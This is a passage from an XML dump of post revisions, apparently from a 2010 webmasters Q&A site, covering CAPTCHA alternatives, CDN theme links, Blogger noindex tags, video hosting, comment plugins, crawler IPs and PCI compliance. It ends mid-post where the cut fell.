  <row Id="2279" PostHistoryTypeId="5" PostId="1274" RevisionGUID="4c347832-f305-4bba-b333-93b1c8813c3d" CreationDate="2010-07-19T19:12:25.473" UserId="108" Comment="Added answers" Text="Here are 3 ways I have seen to do this: &#xD;&#xA;&#xD;&#xA; - One way - http://stackoverflow.com/questions/8472/practical-non-image-based-captcha-approaches.&#xD;&#xA; - Another way - http://stackoverflow.com/questions/2475806/captcha-replacement&#xD;&#xA; - Msft has even made a one with Ajax! http://www.asp.net/AJAX/AjaxControlToolkit/Samples/NoBot/NoBot.aspx&#xD;&#xA;&#xD;&#xA;In general there are 3 &quot;ways&quot; to solve this:&#xD;&#xA;&#xD;&#xA; 1. Make the user do something to prove they are human.  CAPTCHA or anything like it where the user must do extra work.&#xD;&#xA; 2. See how long it take the user to enter data.  Computers are much faster at filling forms out.&#xD;&#xA; 3. Obfuscate what inputs are being used for what in the HTML itself.  &#xD;&#xA;&#xD;&#xA;All of these methods have shortcomings.  CAPTCHA requires more work and eventually developers can find ways to solve the CAPTCHA programatically.  Some have even resourted to paying cheap labor to manually overcome them.  Waiting will work well until it becomes prevalent and then hackers will just make their programs wait until they submit.  Finally, obfuscation except you have to tell the user what to enter so that will give some of it away.  You can further obfuscate those fields by using Javascript to populate names later.  It is all basically a cat and mouse game.  I think CAPTCHA ends up being the most effective and the most annoying for the user though." />
  <row Id="2280" PostHistoryTypeId="5" PostId="1256" RevisionGUID="bab91b53-efd8-4717-acc0-97ff1f31e815" CreationDate="2010-07-19T19:30:03.717" UserId="480" Comment="Added Google CDN jQuery UI Themes; deleted 3 characters in body" Text="While Google hosts [this list][1] and Microsoft hosts [this one][2] there are several files missing such as [jQuery UI CSS][3]. Where can I find a complete listing of all the resources offered for major AJAX CDNs, especially Google and Microsoft (due to popularity)?&#xD;&#xA;&#xD;&#xA;**CDNs listings found so far** (mostly thanks to [artlung][4]):&#xD;&#xA;&#xD;&#xA;- Google:&#xD;&#xA;http://code.google.com/apis/ajaxlibs/documentation&#xD;&#xA;*([Darryl Hein][5] also found http://scriptsrc.net for easier access)*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Microsoft: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- AOL: http://o.aolcdn.com (can only find http://dev.aol.com/dojo for references to URLs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- Yahoo: http://developer.yahoo.com/yui/articles/hosting&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Google CDN Hosted jQuery UI Themes**&#xD;&#xA;&#xD;&#xA;[Base][6], [Black-Tie][7], [Blitzer][8], [Cupertino][9], [Dark-Hive][10], [Dot-Luv][11], [Eggplant][12], [Excite-Bike][13], [Flick][14], [Hot-Sneaks][15], [Humanity][16], [Le-Frog][17], [Mint-Choc][18], [Overcast][19], [Pepper-Grinder][20], [Redmond][21], [Smoothness][22], [South-Street][23], [Start][24], [Sunny][25], [Swanky-Purse][26], [Trontastic][27], [UI-Darkness][28], [UI-Lightness][29] and [Vader][30].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/ajaxlibs/documentation/&#xD;&#xA;  [2]: http://www.asp.net/ajaxlibrary/cdn.ashx&#xD;&#xA;  [3]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.1/themes/base/jquery-ui.css&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/users/26/artlung&#xD;&#xA;  [5]: http://webmasters.stackexchange.com/users/210/darryl-hein&#xD;&#xA;  [6]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/base/jquery-ui.css&#xD;&#xA;  [7]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/black-tie/jquery-ui.css&#xD;&#xA;  [8]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/blitzer/jquery-ui.css&#xD;&#xA;  [9]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/cupertino/jquery-ui.css&#xD;&#xA;  [10]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/dark-hive/jquery-ui.css&#xD;&#xA;  [11]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/dot-luv/jquery-ui.css&#xD;&#xA;  [12]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/eggplant/jquery-ui.css&#xD;&#xA;  [13]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/excite-bike/jquery-ui.css&#xD;&#xA;  [14]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/flick/jquery-ui.css&#xD;&#xA;  [15]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/hot-sneaks/jquery-ui.css&#xD;&#xA;  [16]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/humanity/jquery-ui.css&#xD;&#xA;  [17]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/le-frog/jquery-ui.css&#xD;&#xA;  [18]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/mint-choc/jquery-ui.css&#xD;&#xA;  [19]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/overcast/jquery-ui.css&#xD;&#xA;  [20]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/pepper-grinder/jquery-ui.css&#xD;&#xA;  [21]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/redmond/jquery-ui.css&#xD;&#xA;  [22]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/smoothness/jquery-ui.css&#xD;&#xA;  [23]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/south-street/jquery-ui.css&#xD;&#xA;  [24]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/start/jquery-ui.css&#xD;&#xA;  [25]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/sunny/jquery-ui.css&#xD;&#xA;  [26]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/swanky-purse/jquery-ui.css&#xD;&#xA;  [27]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/trontastic/jquery-ui.css&#xD;&#xA;  [28]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/ui-darkness/jquery-ui.css&#xD;&#xA;  [29]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/ui-lightness/jquery-ui.css&#xD;&#xA;  [30]: http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.2/themes/vader/jquery-ui.css" />
  <row Id="2284" PostHistoryTypeId="2" PostId="1276" RevisionGUID="d6511832-0f77-4736-9535-417a714853ac" CreationDate="2010-07-19T19:54:58.400" UserId="125" Text="I'm using Blogger with a custom domain. When I use the Google search `site:example.com`, the top results are in the form `Example: 2010-01-10`. These are archive pages that Blogger generates. My relevant content pages only show up after all of these, on page 2 or 3. Ideally I don't even want these pages to appear in Google results.&#xD;&#xA;&#xD;&#xA;I believe that the reason they are indexed is because I have the &quot;Blog Archive&quot; panel enabled. Which I enabled so that there are links to all the content pages in my site. Some of my pages are only linked to through this Blog Archive panel, so they wouldn't be indexed." />
  <row Id="2285" PostHistoryTypeId="1" PostId="1276" RevisionGUID="d6511832-0f77-4736-9535-417a714853ac" CreationDate="2010-07-19T19:54:58.400" UserId="125" Text="How can I get Google to not index archive pages in Blogger?" />
  <row Id="2286" PostHistoryTypeId="3" PostId="1276" RevisionGUID="d6511832-0f77-4736-9535-417a714853ac" CreationDate="2010-07-19T19:54:58.400" UserId="125" Text="&lt;seo&gt;&lt;indexing&gt;&lt;blogger&gt;" />
  <row Id="2287" PostHistoryTypeId="6" PostId="1226" RevisionGUID="8dcf2057-3297-42f5-bbb8-549fd61c1faa" CreationDate="2010-07-19T20:02:20.563" UserId="130" Comment="edited tags" Text="&lt;advertising&gt;&lt;codeigniter&gt;" />
  <row Id="2288" PostHistoryTypeId="2" PostId="1277" RevisionGUID="0be23417-f56a-48a5-8f46-a865df43672f" CreationDate="2010-07-19T20:11:25.800" UserId="108" Text="Ideally you would want to put a `rel=nofollow` in your anchor tag.  I am not sure if you have access to do that.  Otherwise if you are looking for a change through Blogger then this question is best suited for http://webapps.stackexchange.com/questions." />
  <row Id="2289" PostHistoryTypeId="5" PostId="1274" RevisionGUID="e9b7f709-b042-4b3c-adff-bfadc40d6bda" CreationDate="2010-07-19T20:40:53.843" UserId="108" Comment="added 4 characters in body" Text="Here are 3 ways I have seen to do this: &#xD;&#xA;&#xD;&#xA; - One way - http://stackoverflow.com/questions/8472/practical-non-image-based-captcha-approaches.&#xD;&#xA; - Another way - http://stackoverflow.com/questions/2475806/captcha-replacement&#xD;&#xA; - Msft has even made a one with Ajax! http://www.asp.net/AJAX/AjaxControlToolkit/Samples/NoBot/NoBot.aspx&#xD;&#xA;&#xD;&#xA;In general there are 3 &quot;ways&quot; to solve this:&#xD;&#xA;&#xD;&#xA; 1. Make the user do something to prove they are human.  CAPTCHA or anything like it where the user must do extra work.&#xD;&#xA; 2. See how long it take the user to enter data.  Computers are much faster at filling forms out.&#xD;&#xA; 3. Obfuscate what inputs are being used for what in the HTML itself.  &#xD;&#xA;&#xD;&#xA;All of these methods have shortcomings.  CAPTCHA requires more work and eventually developers can find ways to solve the CAPTCHA programatically.  Some have even resourted to paying cheap labor to manually overcome them.  Waiting will work well until it becomes prevalent and then hackers will just make their programs wait until they submit.  Finally, obfuscation except you have to tell the user what to enter so that will give some of it away.  You can further obfuscate those fields by using Javascript to populate names later.  It is all basically a cat and mouse game.  &#xD;&#xA;&#xD;&#xA;I think CAPTCHA ends up being the most effective and the most annoying for the user though." />
  <row Id="2290" PostHistoryTypeId="2" PostId="1278" RevisionGUID="8253f456-62f2-44d0-990e-47a0d2d899c8" CreationDate="2010-07-19T20:48:24.650" UserId="26" Text="I believe what you want is to add this inside the `&lt;head&gt;` tags in your site's template - this should be a conditional piece of code that adds a `noindex` meta tag to ONLY your archive pages:&#xD;&#xA;&#xD;&#xA;    &lt;b:if cond='data:blog.pageType == &quot;archive&quot;'&gt;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot; /&gt;&#xD;&#xA;    &lt;/b:if&gt;&#xD;&#xA;&#xD;&#xA;See [more on blogger template variables][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/blogger/bin/answer.py?hl=en&amp;topic=10274&amp;answer=47270" />
  <row Id="2291" PostHistoryTypeId="2" PostId="1279" RevisionGUID="c582a1d5-dc40-4aa8-82ba-4b78a7c232ce" CreationDate="2010-07-19T20:55:39.890" UserId="693" Text="I have a website where I want to embed video tutorial on my blog posts. Now the video's that I make are HD and have not past the 10 min mark yet, maybe in the future.&#xD;&#xA;&#xD;&#xA;Now I have the videos just on [youtube][1], it has HD, and all of them are under the 10 MIN. The only **downside** I have until now is that I haven't found a way to have a HD version of the vid embedded correctly on the page. If I choose HD the video player is 1280X960 on the page. The normal switch is not there.&#xD;&#xA;&#xD;&#xA;Are there any good alternatives for this available online. I have checked [vimeo][2], but for the HD version you have to pay. I make no money from the website so I am not willing to pay for that.&#xD;&#xA;&#xD;&#xA;Are there any alternatives that I can use where I can post my videos. There are certain criteria I would like to have if possible.&#xD;&#xA;&#xD;&#xA;*I want to be able to post HD .mp4's and the video's I embed on my website must have the function to play in HD.*&#xD;&#xA;&#xD;&#xA;*I want to be able to make vids longer than 10 MIN.*&#xD;&#xA;&#xD;&#xA;*It would be nice if the video site is popular, so it could attract some visitors to my website via the video's*&#xD;&#xA;&#xD;&#xA;*This services have to be FREE*&#xD;&#xA;&#xD;&#xA;I know that are a lot of requirements to ask for free, but this is just my ideal set-up, I could settle for less.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com&#xD;&#xA;  [2]: http://vimeo.com" />
  <row Id="2292" PostHistoryTypeId="1" PostId="1279" RevisionGUID="c582a1d5-dc40-4aa8-82ba-4b78a7c232ce" CreationDate="2010-07-19T20:55:39.890" UserId="693" Text="Good source for posting videos to embed on your website" />
  <row Id="2293" PostHistoryTypeId="3" PostId="1279" RevisionGUID="c582a1d5-dc40-4aa8-82ba-4b78a7c232ce" CreationDate="2010-07-19T20:55:39.890" UserId="693" Text="&lt;web-development&gt;" />
  <row Id="2294" PostHistoryTypeId="2" PostId="1280" RevisionGUID="b9e1aa8e-bce7-44ad-88cb-62490ab9d34d" CreationDate="2010-07-19T21:08:53.260" UserId="26" Text="For solutions like this, if you're using an existing content management system, always seek best-of-breed solutions for your specific tool. The plus is that usually these tools are straightforward to install and test and if they don't work, try others out. If I were in your shoes and would check out [Mollom][1]. Here's a description:&#xD;&#xA;&#xD;&#xA;&gt; Mollom provides a one stop solution&#xD;&#xA;&gt; for all spam problems and can protect&#xD;&#xA;&gt; the following Drupal forms. It offers&#xD;&#xA;&gt; and intelligently combines:&#xD;&#xA;&#xD;&#xA;&gt; - CAPTCHAs -- both image and audio CAPTCHAs&#xD;&#xA;- text analysis&#xD;&#xA;- user reputations&#xD;&#xA;&#xD;&#xA;&gt; and can:&#xD;&#xA;&#xD;&#xA;&gt; - block comment form spam&#xD;&#xA;- block contact form spam&#xD;&#xA;- protect the user registration form against fake user accounts&#xD;&#xA;- protect the password request form&#xD;&#xA;- block spam on any node form, such as forum topics, articles, stories, pages, and more&#xD;&#xA;&#xD;&#xA;&gt; For more information about [Mollom][2], you can read this [Mollom introduction][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/mollom&#xD;&#xA;  [2]: http://mollom.com/&#xD;&#xA;  [3]: http://drupal.org/project/mollom" />
  <row Id="2295" PostHistoryTypeId="2" PostId="1281" RevisionGUID="e29f5628-a90b-449e-9311-a9f3ea12e963" CreationDate="2010-07-19T21:10:32.163" UserId="721" Text="Since there are so many Google Webmaster Central videos on Youtube which one do you think every Webmaster should see?&#xD;&#xA;&#xD;&#xA;http://www.youtube.com/user/GoogleWebmasterHelp" />
  <row Id="2296" PostHistoryTypeId="1" PostId="1281" RevisionGUID="e29f5628-a90b-449e-9311-a9f3ea12e963" CreationDate="2010-07-19T21:10:32.163" UserId="721" Text="Google Webmaster Central Channel" />
  <row Id="2297" PostHistoryTypeId="3" PostId="1281" RevisionGUID="e29f5628-a90b-449e-9311-a9f3ea12e963" CreationDate="2010-07-19T21:10:32.163" UserId="721" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="2298" PostHistoryTypeId="16" PostId="1281" RevisionGUID="e29f5628-a90b-449e-9311-a9f3ea12e963" CreationDate="2010-07-19T21:10:32.163" UserId="721" />
  <row Id="2299" PostHistoryTypeId="2" PostId="1282" RevisionGUID="d0cae65c-4301-446d-9b74-0eacaec40d49" CreationDate="2010-07-19T21:20:58.143" UserId="108" Text="If you are not using your site for commercial purposes I think your best best is JW PLayer from Longtail, http://www.longtailvideo.com/players/jw-flv-player/.  It isn't a hosted solution so you would have to host everything yourself but it will play HD files and do everything else you want.  I do believe to play HD files you will need to convert them into H.264 format though.&#xD;&#xA;&#xD;&#xA;They also sell an enterprise edition which removes their logo from the player and can be used on corporate sites and such.  It costs a flat fee of $89 for unlimited use on one domain.  It sounds like the free version would work for you.&#xD;&#xA;&#xD;&#xA;Beyond that YouTube and Vimeo are going to probably be about as good as it gets for free.  They own the majority of the video posting space so they can set the rules to some degree." />
  <row Id="2300" PostHistoryTypeId="2" PostId="1283" RevisionGUID="7c293447-ca17-4cd3-9f26-e4e798b980ac" CreationDate="2010-07-19T21:41:44.287" UserId="26" Text="I've used [disqus][1] on a few sites successfully. Are there any other solid solutions for comments for static websites? (For new sites, I tend to use a CMS that includes comments).&#xD;&#xA;&#xD;&#xA;  [1]: http://disqus.com/" />
  <row Id="2301" PostHistoryTypeId="1" PostId="1283" RevisionGUID="7c293447-ca17-4cd3-9f26-e4e798b980ac" CreationDate="2010-07-19T21:41:44.287" UserId="26" Text="Adding comments to static pages?" />
  <row Id="2302" PostHistoryTypeId="3" PostId="1283" RevisionGUID="7c293447-ca17-4cd3-9f26-e4e798b980ac" CreationDate="2010-07-19T21:41:44.287" UserId="26" Text="&lt;comments&gt;" />
  <row Id="2303" PostHistoryTypeId="2" PostId="1284" RevisionGUID="658c96e6-55cc-4ce7-914f-5fb5c852c8c2" CreationDate="2010-07-19T21:45:47.880" UserId="527" Text="Your question contains its own answer in the parenthentical comment at the end!. If del.icio.us came to regret cut tricks with their domain name, why would you want to repeat the same mistake?&#xD;&#xA;" />
  <row Id="2304" PostHistoryTypeId="2" PostId="1285" RevisionGUID="553348a6-64e3-451a-8840-bc24aa898aa3" CreationDate="2010-07-19T21:49:36.757" UserId="383" Text="I just use the [Facebook Comment Box Plugin][1].  It's quick to set up and a solid solution, although maybe not as comprehensive as disqus.  In my case, I know pretty much all the visitors to my site, so I'd rather they just use their real name.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/plugins/comments" />
  <row Id="2305" PostHistoryTypeId="2" PostId="1286" RevisionGUID="d560e825-8106-4fec-9379-a24d8635f700" CreationDate="2010-07-19T22:15:34.910" UserId="26" Text="I have a page that gets minimal traffic, but I set up static notifications when it gets hit. Now, I want bots to get ignored, so what I'm doing now is adding bots I see to a &quot;no notify&quot; list. &#xD;&#xA;&#xD;&#xA;Is there a reference listing of the IP addresses used by indexing robots?&#xD;&#xA;&#xD;&#xA;e.g, a list like:&#xD;&#xA;&#xD;&#xA;	$no_mail = array(&#xD;&#xA;		'67.195.115.105', // yahoo bot&#xD;&#xA;		'207.46.199.50', // msn bot&#xD;&#xA;		'61.135.249.246', //youdao bot&#xD;&#xA;		'207.46.199.32', // msn bot&#xD;&#xA;	);&#xD;&#xA;" />
  <row Id="2306" PostHistoryTypeId="1" PostId="1286" RevisionGUID="d560e825-8106-4fec-9379-a24d8635f700" CreationDate="2010-07-19T22:15:34.910" UserId="26" Text="Is there an index of the IP addresses used by indexing bots?" />
  <row Id="2307" PostHistoryTypeId="3" PostId="1286" RevisionGUID="d560e825-8106-4fec-9379-a24d8635f700" CreationDate="2010-07-19T22:15:34.910" UserId="26" Text="&lt;search-engines&gt;&lt;robots&gt;" />
  <row Id="2308" PostHistoryTypeId="2" PostId="1287" RevisionGUID="69dc81d8-8e7e-4263-aa66-c8d9814232b9" CreationDate="2010-07-19T22:18:29.197" UserId="843" Text="I have few concepts of logos for a website. How do I know a specific concept that is finalized, is already used by some other website or not?&#xD;&#xA;&#xD;&#xA;Thank you." />
  <row Id="2309" PostHistoryTypeId="1" PostId="1287" RevisionGUID="69dc81d8-8e7e-4263-aa66-c8d9814232b9" CreationDate="2010-07-19T22:18:29.197" UserId="843" Text="How to find out if a logo has already been used/exists?" />
  <row Id="2310" PostHistoryTypeId="3" PostId="1287" RevisionGUID="69dc81d8-8e7e-4263-aa66-c8d9814232b9" CreationDate="2010-07-19T22:18:29.197" UserId="843" Text="&lt;website-features&gt;" />
  <row Id="2317" PostHistoryTypeId="2" PostId="1290" RevisionGUID="d386dfa9-2f0b-4d8d-8685-5a9fc1e8e93c" CreationDate="2010-07-20T01:02:52.543" UserId="138" Text="After reading the very stronly worded recommendations regarding the [storage of credit card details here][1], I've got to wonder - what happens if a non-PCI compliant company starts storing credit card details (I'm 100% sure that there are companies out there doing this).&#xD;&#xA;&#xD;&#xA;For example, let's say I hadn't asked my question on here and I forged ahead and just decided to store customer credit card details and used some basic AES encryption. Now what? If we never get hacked, is anyone going to ask? Will Visa, or our merchant, ever want to inspect our servers?&#xD;&#xA;&#xD;&#xA;What are the consequences of not using PCI compliant infrastructure?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Disclaimer: I get the hint - this is a **bad** idea and we won't be doing it, but I'm curious&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1017/storing-credit-card-details" />
  <row Id="2318" PostHistoryTypeId="1" PostId="1290" RevisionGUID="d386dfa9-2f0b-4d8d-8685-5a9fc1e8e93c" CreationDate="2010-07-20T01:02:52.543" UserId="138" Text="Is PCI compliance scrutinised?" />
  <row Id="2319" PostHistoryTypeId="3" PostId="1290" RevisionGUID="d386dfa9-2f0b-4d8d-8685-5a9fc1e8e93c" CreationDate="2010-07-20T01:02:52.543" UserId="138" Text="&lt;security&gt;&lt;pci-compliance&gt;" />
  <row Id="2320" PostHistoryTypeId="2" PostId="1291" RevisionGUID="d510d11b-df00-448f-9e8d-e7f01fc04fdf" CreationDate="2010-07-20T01:12:31.430" UserId="138" Text="The biggest flashing red light with screaming alarms is when someone starts talking about **how** they are going to do it. If you ever hear or read about anyone talking about their own suicide in terms of how they would/are planning on executing it then you owe it to them and your conscience to try and get them help.&#xD;&#xA;&#xD;&#xA;How to do that is answered elsewhere in the answers to these questions, but if you *ever* see someone talking about *how* they're going to do it, you have a moral obligation as a decent human not to ignore it." />
  <row Id="2321" PostHistoryTypeId="2" PostId="1292" RevisionGUID="03808b16-acb4-45e1-8ddc-2d199650eac5" CreationDate="2010-07-20T01:29:00.873" UserId="180" Text="The [PCI DSS 10 Common Myths][1] (pdf) talks about fines, legal fees, and general bad things, so I think you can assume you'd be sued into oblivion if you lied on the questionnaire :) &#xD;&#xA;&#xD;&#xA;  [1]: https://www.pcisecuritystandards.org/pdfs/pciscc_ten_common_myths.pdf" />
  <row Id="2322" PostHistoryTypeId="2" PostId="1293" RevisionGUID="a9eb014f-b0b2-4575-95c5-2d36f04e17f3" CreationDate="2010-07-20T01:44:41.727" UserId="9301" Text="Even when you assume that nobody might want to inspect your server you might fire an employee. Then that employee hates you might go to VISA and complain about your lack of following the standards." />
  <row Id="2323" PostHistoryTypeId="5" PostId="1290" RevisionGUID="6cc95b65-725c-456c-8df7-ca581efe481c" CreationDate="2010-07-20T02:03:49.153" UserId="108" Comment="Fixed Spelling" Text="After reading the very strongly worded recommendations regarding the [storage of credit card details here][1], I've got to wonder - what happens if a non-PCI compliant company starts storing credit card details (I'm 100% sure that there are companies out there doing this).&#xD;&#xA;&#xD;&#xA;For example, let's say I hadn't asked my question on here and I forged ahead and just decided to store customer credit card details and used some basic AES encryption. Now what? If we never get hacked, is anyone going to ask? Will Visa, or our merchant, ever want to inspect our servers?&#xD;&#xA;&#xD;&#xA;What are the consequences of not using PCI compliant infrastructure?&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Disclaimer: I get the hint - this is a **bad** idea and we won't be doing it, but I'm curious&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/1017/storing-credit-card-details" />
  <row Id="2324" PostHistoryTypeId="2" PostId="1294" RevisionGUID="4a333057-f598-4719-98d3-1249c79b5e46" CreationDate="2010-07-20T02:07:29.940" UserId="124" Text="In order to avoid trademark violations, there is no way around involving a lawyer. They can assist you in doing a search. Even then, there could be challenges. In the US, at least, a logo does not have to be registered to enjoy trademark protection. Prior evidence of trade using that mark (or one sufficiently similar under a &quot;reasonable person&quot; test) in a similar area of trade constitutes precedence. Defending and losing a trademark battle can be expensive due to costs of implementing changes and the possibility of penalties, not to mention legal fees. I am not a lawyer, so this is just a rough approximation." />
  <row Id="2325" PostHistoryTypeId="2" PostId="1295" RevisionGUID="e8eb8b19-9284-44d2-aa8f-a8a4e0b0f29e" CreationDate="2010-07-20T02:13:08.740" UserId="108" Text="I worked for a company that was going through the PCI compliance process and I have to say,  if you are storing credit card info and are not PCI compliant you are putting your company at risk.&#xD;&#xA;&#xD;&#xA;You are right in that the Credit Card industry may never find out but why risk it.  You have to remember, if you ever have a breach of security or a Card Vendor finds out you can lose your business and your reputation.&#xD;&#xA;&#xD;&#xA;Many people think that because it hasn't happened yet that it won't happen in the future and that is just plain false.  Having a CC Provider find out or a breach occur is a [Black Swan][1] because it only takes 1 occurrence to ruin you.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Falsifiability#Inductive_categorical_inference" />
  <row Id="2326" PostHistoryTypeId="2" PostId="1296" RevisionGUID="db71458b-d3d7-4c10-9134-79bf0f05766a" CreationDate="2010-07-20T02:17:37.967" UserId="124" Text="I've used the [GentleSource Comment script][1]. It's $29 or free for private or non-profit use.&#xD;&#xA;&#xD;&#xA;I don't know how it compares to others now, but when I chose it, it had the features I needed. You can use it with Akismet or a Captcha for spam reduction and it has flood protection and comment moderation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentlesource.com/comment-script/" />
  <row Id="2327" PostHistoryTypeId="2" PostId="1297" RevisionGUID="f73ab4cf-468c-48bf-a508-21e68f860dbe" CreationDate="2010-07-20T02:29:56.720" UserId="108" Text="Why don't you just put this in your robots.txt file?&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /path/page-you-dont-want-crawled.html&#xD;&#xA;&#xD;&#xA;That way you won't need to keep hunting for bots.  I would bet anything that Google, Yahoo, and MSN have hundreds of bots and they probably have different IP addresses and new ones being created all the time.  Adding the above should do the same for your file page without all of the hassle.&#xD;&#xA;" />
  <row Id="2328" PostHistoryTypeId="2" PostId="1298" RevisionGUID="ffcb6768-3617-49c9-8f26-79f86d788f82" CreationDate="2010-07-20T02:43:39.120" UserId="9301" Text="Do you censor user generated content that's not illegal and doesn't personally attack another user of your website for being hate speech?&#xD;&#xA;If so, where do you draw the line?" />
  <row Id="2329" PostHistoryTypeId="1" PostId="1298" RevisionGUID="ffcb6768-3617-49c9-8f26-79f86d788f82" CreationDate="2010-07-20T02:43:39.120" UserId="9301" Text="Where do you draw the line on hate speech in user generated content?" />
  <row Id="2330" PostHistoryTypeId="3" PostId="1298" RevisionGUID="ffcb6768-3617-49c9-8f26-79f86d788f82" CreationDate="2010-07-20T02:43:39.120" UserId="9301" Text="&lt;moderation&gt;" />
  <row Id="2331" PostHistoryTypeId="2" PostId="1299" RevisionGUID="5c2d410b-6e9c-468b-b107-683a950cd549" CreationDate="2010-07-20T02:48:12.353" UserId="745" Text="As a general rule of thumb, I would moderate in keeping with how you want your website to be perceived. For example, if you have a business website, it may not be in your best interests to allow profanity or crude humor in your forums. Ultimately, you're responsible for what appears on your website, either by what you create or what you allow, and the perception of your site will reflect your policies." />
  <row Id="2332" PostHistoryTypeId="2" PostId="1300" RevisionGUID="6a27e991-f777-478b-a523-85d3b945e661" CreationDate="2010-07-20T02:49:55.173" UserId="156" Text="Can you access the useragent? That seems to me a better way of working out who is a real user, and what is a bot - it's more resilient to legitimate crawlers changing addresses, and if anything is masquerading as a bot, you probably don't want to get the email anyway." />
  <row Id="2333" PostHistoryTypeId="2" PostId="1301" RevisionGUID="2df08a64-6522-48cb-b926-7e541b902410" CreationDate="2010-07-20T02:59:37.070" UserId="576" Text="Site speed is not just a factor that can marginally improve your website's Google ranking but well performing pages can help you save on bandwidth costs &amp; result in a better user experience for the site's visitors.  So you can run the site through some of these [free web performance analysis &amp; optimization tools][1] &amp; work on the recommendations they offer.&#xD;&#xA;&#xD;&#xA;[popuri.us][2] is a tool you can use to check the link popularity of any site based on its ranking (Google PageRank, Alexa Rank, Technorati etc.), social bookmarks (del.icio.us, etc), subscribers (Bloglines, etc)&#xD;&#xA;&#xD;&#xA;If you offer a RSS feed for the site, you can find how it compares against competitor's feeds using [Feed Compare][3]&#xD;&#xA;&#xD;&#xA;Use [W3C Link Checker][4] occasionally to check for broken links.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://mvark.blogspot.com/2010/06/web-performance-analysis-optimization.html&#xD;&#xA;  [2]: http://popuri.us/&#xD;&#xA;  [3]: http://www.feedcompare.com/&#xD;&#xA;  [4]: http://validator.w3.org/checklink" />
  <row Id="2334" PostHistoryTypeId="2" PostId="1302" RevisionGUID="75bea78b-f8b9-40d2-9c11-366a25a46166" CreationDate="2010-07-20T03:29:20.500" UserId="359" Text="I'd add Chartbeat.com to the list. No need to wait around for data to come in….Chartbeat does real-time monitoring of what's happening on your website RIGHT NOW." />
  <row Id="2335" PostHistoryTypeId="2" PostId="1303" RevisionGUID="18dcf4f8-121a-454f-94ef-c780d668b009" CreationDate="2010-07-20T03:32:33.263" UserId="359" Text="IntenseDebate.com (owned by Automattic, makers of Wordpress) and Echo (formerly JSKit; www.js-kit.com) are both Disqus competitors and are generally well-liked." />
  <row Id="2336" PostHistoryTypeId="2" PostId="1304" RevisionGUID="e6af6b30-1bc7-48f9-8bf4-5e83f786c8fc" CreationDate="2010-07-20T03:38:46.497" UserId="369" Text="http://www.user-agents.org/ might be what you are looking for." />
  <row Id="2337" PostHistoryTypeId="2" PostId="1305" RevisionGUID="2ef4494e-7e03-4ddf-a045-d3ff1fd5fde5" CreationDate="2010-07-20T03:49:29.370" UserId="138" Text="We've got a page that embeds a `.MOV` file into a webpage. In the last 6 months it stopped working on some Macs. Then it stopped working on all macs. Then it stopped working on Windows XP. But it works fine in Windows 7. Here's what is embedded in the HTML:&#xD;&#xA;&#xD;&#xA;    &lt;embed src=&quot;/Magic94Scripts/mgrqispi94.dll?APPNAME=FileManager&amp;PRGNAME=prjfilmview&amp;ResID=2784&amp;size=9&quot; style=&quot;float: left;&quot; height=&quot;600&quot; width=&quot;1030&quot;&gt;&#xD;&#xA;&#xD;&#xA;This has worked perfectly for years. The QuickTime player pulls the file out of the requester, inspects the MIME type from the response headers and plays the file appropriately. A Wireshark dump from a Windows 7 looks like this:&#xD;&#xA;&#xD;&#xA;![Quicktime Windows 7 dump][1]&#xD;&#xA;&#xD;&#xA;1. The intial request for the page that 